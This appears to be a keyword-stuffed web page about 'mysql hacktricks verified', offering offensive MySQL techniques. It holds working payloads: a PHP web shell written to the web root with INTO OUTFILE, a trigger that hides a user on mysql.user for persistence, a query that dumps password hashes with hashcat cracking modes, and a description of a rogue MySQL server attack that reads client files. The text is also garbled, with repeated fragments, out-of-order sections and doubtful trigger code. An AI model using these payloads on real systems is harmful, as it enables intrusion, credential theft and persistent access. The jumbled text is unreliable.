Use hex encoding to avoid illegal characters.
Keyword Focus: mysql hacktricks verified Introduction: Why "Verified" Matters In the world of cybersecurity, information is abundant, but accuracy is scarce. When searching for mysql hacktricks verified , you are not looking for theoretical vulnerabilities or outdated exploits. You are looking for battle-tested commands, bypasses, and privilege escalation paths that work against real-world MySQL and MariaDB deployments. mysql hacktricks verified
CREATE TRIGGER hide_user BEFORE INSERT ON mysql.user FOR EACH ROW BEGIN IF NEW.User = 'hidden' THEN SET NEW.password = PASSWORD('dontlog'); END IF; END; Note: Requires SUPER or TRIGGER privilege. | Goal | Best Method | Preconditions | |------|-------------|----------------| | Execute OS command | UDF sys_eval | FILE , write to plugin_dir, MySQL < 8.0 or custom compile | | Write shell | general_log file write | SUPER or file write perms | | Read files | LOAD_FILE() | FILE , file path within secure_file_priv or set to empty | | Dump hashes | SELECT authentication_string FROM mysql.user | SELECT on mysql.user | | Steal client files | Rogue MySQL server | Network access to victim's MySQL client | | Persistence | Hidden user + trigger | CREATE USER + TRIGGER | Conclusion: Stay Verified, Stay Lethal The difference between a script kiddie and a professional is verification. The mysql hacktricks verified approach means you do not blindly run commands—you understand the context, confirm the version, test the boundary, and then exploit with precision. Use hex encoding to avoid illegal characters
Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON , MySQL Workbench, or outdated connectors) will send back any file the client user can read. You are looking for battle-tested commands, bypasses, and
SELECT user, host, authentication_string FROM mysql.user; Use hashcat -m 300 for mysql_native_password (4 bytes salt + 20 bytes SHA1) or -m 7400 for caching_sha2_password.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex:
Not possible directly, but you can create a new user with the stolen hash if you have INSERT on mysql.user and restart privileges ( FLUSH PRIVILEGES ). 4.2 Reading Client Files (Rogue MySQL Server Attack) This is a classic but often overlooked. If you can trick an admin or app server into connecting to your malicious MySQL server, you can read arbitrary files from the client.